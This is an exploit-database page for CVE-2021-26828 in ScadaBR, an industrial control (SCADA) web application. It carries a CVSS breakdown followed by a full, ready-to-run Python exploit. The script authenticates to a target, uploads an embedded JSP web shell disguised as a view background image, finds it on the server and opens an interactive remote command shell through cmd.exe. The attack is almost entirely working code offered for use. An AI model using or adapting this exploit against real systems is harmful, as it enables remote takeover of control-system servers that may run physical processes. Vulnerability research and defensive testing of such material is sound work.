Exploitalert - Database of Exploits

ScadaBR 1.0 / 1.1CE Windows Shell Upload

CVE	Category	Price	Severity
CVE-2021-26828	CWE-434	Not specified	High

Author	Risk	Exploitation Type	Date
Dhiraj Mishra	High	Remote	2021-05-13

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L	0.182295	0.560524

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

https://cxsecurity.com/ascii/WLB-2021050060

ScadaBR 1.0 / 1.1CE Windows Shell Upload

#!/usr/bin/python # Exploit Title: Authenticated Arbitrary File Upload (Remote Code Execution) # Google Dork: N/A # Date: 03/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.scadabr.com.br/ # Software Link: https://www.scadabr.com.br/ # Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux # Tested on: Windows7, Windows10 # CVE : CVE-2021-26828 import requests,sys,time if len(sys.argv) <=4: print('[x] Missing arguments ... ') print('[>] Usage: python WinScada_RCE.py <TargetIp> <TargetPort> <User> <Password>') print('[>] Example: python WinScada_RCE.py 192.168.1.24 8080 admin admin') sys.exit(0) else: time.sleep(1) host = sys.argv[1] port = sys.argv[2] user = sys.argv[3] passw = sys.argv[4] flag = False LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm' PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm' banner = ''' +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ | _________ .___ ____________________ | | / _____/ ____ _____ __| _/____ \______ \______ \ | | \_____ \_/ ___\\__ \ / __ |\__ \ | | _/| _/ | | / \ \___ / __ \_/ /_/ | / __ \| | \| | \ | | /_______ /\___ >____ /\____ |(____ /______ /|____|_ / | | \/ \/ \/ \/ \/ \/ \/ | | | | > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) | | > Exploit Author : Fellipe Oliveira | | > Exploit for Windows Systems | +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ ''' def main(): payload = { 'username': user, 'password': passw } print(banner) time.sleep(2) with requests.session() as s: s.post(LOGIN, data=payload) response = s.get(PROTECTED_PAGE) print("[+] Trying to authenticate "+LOGIN+"...") if response.status_code == 200: print("[+] Successfully authenticated! :D~\n") time.sleep(2) else: print("[x] Authentication failed :(") sys.exit(0) burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm" burp0_cookies = {"JSESSIONID": "66E47DFC053393AFF6C2D5A7C15A9439"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6150838712847095098536245849", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"} burp0_data = "-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.name\"\r\n\r\n\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.xid\"\r\n\r\nGV_218627\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"backgroundImageMP\"; filename=\"win_cmd.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<%@ page import=\"java.util.*,java.io.*\"%>\n<%\n%>\n<HTML><BODY>\nCommands with JSP\n<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">\n<INPUT TYPE=\"text\" NAME=\"cmd\">\n<INPUT TYPE=\"submit\" VALUE=\"Send\">\n</FORM>\n<pre>\n<%\nif (request.getParameter(\"cmd\") != null) {\n out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");\n Process p;\n if ( System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n p = Runtime.getRuntime().exec(\"cmd.exe /C \" + request.getParameter(\"cmd\"));\n }\n else{\n p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n }\n OutputStream os = p.getOutputStream();\n InputStream in = p.getInputStream();\n DataInputStream dis = new DataInputStream(in);\n String disr = dis.readLine();\n while ( disr != null ) {\n out.println(disr);\n disr = dis.readLine();\n }\n}\n%>\n</pre>\n</BODY></HTML>\n\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\nUpload image\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.anonymousAccess\"\r\n\r\n0\r\n-----------------------------6150838712847095098536245849--\r\n" getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print('[>] Attempting to upload .jsp Webshell...') time.sleep(1) print('[>] Verifying shell upload...\n') time.sleep(2) if getdata.status_code == 200: print('[+] Upload Successfuly!') for num in range(1,500): PATH = 'http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num) find = s.get(PATH) if find.status_code == 200: print('[+] Webshell Found in: http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num)) flag = True print('[>] Spawning fake shell...') time.sleep(3) while flag: param = raw_input("# ") burp0_url = "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?cmd=%s" % (num,param) burp0_cookies = {"JSESSIONID": "4FCC12402B8389A64905F4C8272A64B5"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?cmd=%s", "Upgrade-Insecure-Requests": "1"} send = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) clean = send.text.replace('<pre>', '').replace('<FORM METHOD=', '').replace('<HTML><BODY>', '').replace('"GET" NAME="myform" ACTION="">', '').replace('Commands with JSP', '').replace('<INPUT TYPE="text" NAME="cmd">', '').replace('<INPUT TYPE="submit" VALUE="Send">', '').replace('</FORM>', '').replace('<BR>', '').replace('</pre>', '').replace('</BODY></HTML>', '') print(clean) elif num == 499: print('[x] Webshell not Found') else: print('Reason:'+getdata.reason+' ') print('Exploit Failed x_x') if __name__ == '__main__': main()

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